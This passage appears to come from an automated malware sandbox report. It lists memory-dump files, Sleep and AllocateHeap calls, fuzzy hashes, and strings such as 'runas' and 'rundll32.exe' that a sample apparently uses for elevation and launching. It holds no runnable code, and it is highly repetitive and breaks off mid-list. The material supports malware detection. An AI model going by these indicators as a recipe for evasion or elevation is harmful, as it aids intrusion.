Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 28171e2807fc2bb3e5f147d9818ad291a2faddaa0339146a0ccabb0417517ab2
Instruction ID: a059acb7dc6b75611a329ed1edd49e86d480b739094682cca3b63922b561e825
Opcode Fuzzy Hash: 28171e2807fc2bb3e5f147d9818ad291a2faddaa0339146a0ccabb0417517ab2
Instruction Fuzzy Hash: 97E06531271167FAEA3126699C04B7A7ECCAB513A1F050124DE55B61D4FB60DC8182A1

Uniqueness

Uniqueness Score: -1.00%

Function 0125E420, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000EA60), ref: 0125E46B

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bf16a7de7b2447667d763a8c42a490e90b00e38e1cdb31e60d439e5303682a3f
Instruction ID: e67ecf2dcd7824f3c4272915556a6d246381f77c186c05e1e20283047fe332ff
Opcode Fuzzy Hash: bf16a7de7b2447667d763a8c42a490e90b00e38e1cdb31e60d439e5303682a3f
Instruction Fuzzy Hash: 08E0C216F70011238791367D0CA793E78157FE3460B8A15CCDC422B3C2FC601A1503E7

Uniqueness

Uniqueness Score: -1.00%

Function 0125E470, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000EA60), ref: 0125E4BB

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5758e9a17cc2aa67e6bf93c51dbeac645edc7c6a73552844e26ec55b5e7f0743
Instruction ID: 2af60425a85b52d3e3265219e8c67e809de366b65866fc6f64323fc9ab08ae6e
Opcode Fuzzy Hash: 5758e9a17cc2aa67e6bf93c51dbeac645edc7c6a73552844e26ec55b5e7f0743
Instruction Fuzzy Hash: 39E08C15F30021238B95367D0CA753EB815AFA24A0B86158CDC422B3C2FC601A1503E7

Uniqueness

Uniqueness Score: -1.00%

Function 013A77B0, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0160DC15

Memory Dump Source

Source File: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c6ca1e440214ae8678fb7d5d608053b0d13aaa11066205566f8201567b02fa5f
Instruction ID: 329364776fdd91e034d7c9b2562216be072a981fda682e9b5ccdf371e56be7ae
Opcode Fuzzy Hash: c6ca1e440214ae8678fb7d5d608053b0d13aaa11066205566f8201567b02fa5f
Instruction Fuzzy Hash: 88E01AB111E708DAD70E3EA99CC547ABBE8BA01650F81053F85C705681DA7265438A93

Uniqueness

Uniqueness Score: -1.00%

Function 0125E3D0, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000EA60), ref: 0125E41B

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 203ac1be30918bab42ff5e69f27c82f2eee0884da08088683a237c1162c19d80
Instruction ID: 86a84885d57f21e402b59ba4b601c801bb3f99845124b375c44600817b139506
Opcode Fuzzy Hash: 203ac1be30918bab42ff5e69f27c82f2eee0884da08088683a237c1162c19d80
Instruction Fuzzy Hash: EEE0C219F30111238695367E1CA753EB8196FB34A078615CCDC422B3C6FCA01A2203E3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0127CD15, Relevance: 11.4, Strings: 9, Instructions: 163COMMON

Download Yara Rule

Strings

ntdll.dll, xrefs: 0127CD8C
0%x, xrefs: 0127CDFC
stoi argument out of range, xrefs: 0127CD30
ca82a716069a53b0dc5455daf1f535ef, xrefs: 0127CE28
7b6145, xrefs: 0127CE4C
6063c37cb8b7acb935de6a3fe03554de, xrefs: 0127CE04
runas, xrefs: 0127CDE0
rundll32.exe, xrefs: 0127CDEC
runas, xrefs: 0127CDD0

Memory Dump Source

Source File: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID:
String ID: 0%x$6063c37cb8b7acb935de6a3fe03554de$7b6145$ca82a716069a53b0dc5455daf1f535ef$ntdll.dll$runas$runas$rundll32.exe$stoi argument out of range
API String ID: 0-3526321797
Opcode ID: c8fa537dd11400de8f405593a50ef8745c8928572e3fca540e20fa2a0c5185e8
Instruction ID: 49448786f612d1363160a3919121d57a3d0d9764c6e162248049d76bf19008f1
Opcode Fuzzy Hash: c8fa537dd11400de8f405593a50ef8745c8928572e3fca540e20fa2a0c5185e8
Instruction Fuzzy Hash: A251497281E3D24FD7178B308A65042BFB0BF1320071E86DFC5C18F5A3E664A969D3A6

Uniqueness

Uniqueness Score: -1.00%

Function 0127CD50, Relevance: 10.1, Strings: 8, Instructions: 128COMMON

Download Yara Rule

Strings

ntdll.dll, xrefs: 0127CD8C
0%x, xrefs: 0127CDFC
ca82a716069a53b0dc5455daf1f535ef, xrefs: 0127CE28
7b6145, xrefs: 0127CE4C
6063c37cb8b7acb935de6a3fe03554de, xrefs: 0127CE04
runas, xrefs: 0127CDE0
rundll32.exe, xrefs: 0127CDEC
runas, xrefs: 0127CDD0

Memory Dump Source

Source File: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID:
String ID: 0%x$6063c37cb8b7acb935de6a3fe03554de$7b6145$ca82a716069a53b0dc5455daf1f535ef$ntdll.dll$runas$runas$rundll32.exe
API String ID: 0-1510537755
Opcode ID: cda23826a906e7483f6e66c681efe21c73f51e9e9cf8b18c1efee29643e7a774
Instruction ID: cc9d1c1bd3c920e1e0a335b412126988b49a15c1dd83d7d6b313c6cfd87b8baf
Opcode Fuzzy Hash: cda23826a906e7483f6e66c681efe21c73f51e9e9cf8b18c1efee29643e7a774
Instruction Fuzzy Hash: E141287281E3D24FD7138F708965042BFB0BF1321075E89EFC5C18B5A3E664A969D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0127CD4C, Relevance: 10.1, Strings: 8, Instructions: 127COMMON

Download Yara Rule

Strings

ntdll.dll, xrefs: 0127CD8C
0%x, xrefs: 0127CDFC
ca82a716069a53b0dc5455daf1f535ef, xrefs: 0127CE28
7b6145, xrefs: 0127CE4C
6063c37cb8b7acb935de6a3fe03554de, xrefs: 0127CE04
runas, xrefs: 0127CDE0
rundll32.exe, xrefs: 0127CDEC
runas, xrefs: 0127CDD0

Memory Dump Source

Source File: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
